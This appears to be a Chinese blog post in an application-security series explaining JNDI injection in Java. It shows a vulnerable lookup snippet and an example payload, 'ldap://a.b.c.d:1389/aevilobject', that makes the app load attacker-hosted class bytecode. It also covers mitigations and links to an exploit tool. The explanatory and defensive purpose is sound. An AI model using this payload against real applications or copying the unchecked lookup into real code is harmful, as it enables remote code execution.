应用安全系列之十四:JNDI引用注入

本系列文章主旨在于介绍一些漏洞类型产生的基本原理,探索最基础的解决问题的措施。

JNDI也就是Java Naming and Directory Interface,根据Oracle网站(JNDI Overview)关于JNDI的解释:

可以知道JNDI是一个用于访问命名与目录服务的通用的API,通过它可以屏蔽底层命名与目录服务的不同,带来了极大的方便,主要是针对Java语言的。JNDI允许客户端通过一个名字来发现或者查找数据和对象。这个对象可以被存储在不同的命名与路径服务,例如:RMI(Remote Method Invocation)、CORBA(Common Object Request Broker Architecuture)、LightWeight Directory Access Protocol(LDAP)或者DNS(Domain Name Service)。主要是通过InitialContext的lookup(String)的一个字符串参数来查找,如果这个参数可以别控制,就可能在加载类的时候导致远程代码执行漏洞。

示例代码:

String name = request.getParameter("name");
InitialContext ctx = new InitialContext();
ctx.lookup(name);

当name可以被攻击者控制时,攻击者就可以控制一个应用去访问一个邪恶的RMI、ldap或者corba服务,例如:name=ldap://a.b.c.d:1389/aevilobject,并获取任意一个可以被控制的对象。如果这个对象是javax.naming.Reference类的一个实例,JNDI客户端就尝试解析这个对象的“classFactory" 和"classFactoryLocation”属性。这时,如果classFactory对于目标java应用而言是未知的,就会从classFactoryLocation的位置通过Java的URLClassLoader类加载这个工厂类的字节码,攻击者控制的字节码中可以注入恶意的指令,并且会被执行。有时,也可以用于发起反序列化或者不安全的反射攻击。

虽然在Java 8u121版本针对RMI进行了限制和Java 8u191版本对LDAP也进行了限制,但是,让InitialContext.lookup(String)的参数接收一些不被信任的参数依然是一种危险的方法,依然可能被利用来攻击。

预防方法:就是尽量避免使用不可信的数据作为lookup的参数;如果迫不得已,必须接受外来参数,建议做严格的白名单检查,防止从不可信的命名服务中获取对象。

关于JNDI漏洞具体如何利用,可以参考:https://github.com/TheKingOfDuck/JNDI-Injection-Exploit

如果有不妥之处,希望可以留言指出。谢谢!

参考:

Exploiting JNDI Injections in Java | Veracode blog

https://www.eweek.com/security/hpe-warns-of-jndi-java-injection-flaws/#:~:text=The%20JNDI%20injection%20attack%20vector%20is%20an%20attack,database%2C%20which%20can%20potentially%20then%20enable%20unauthorized%20access.

Exploiting JNDI Injections in Java | Veracode blog

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值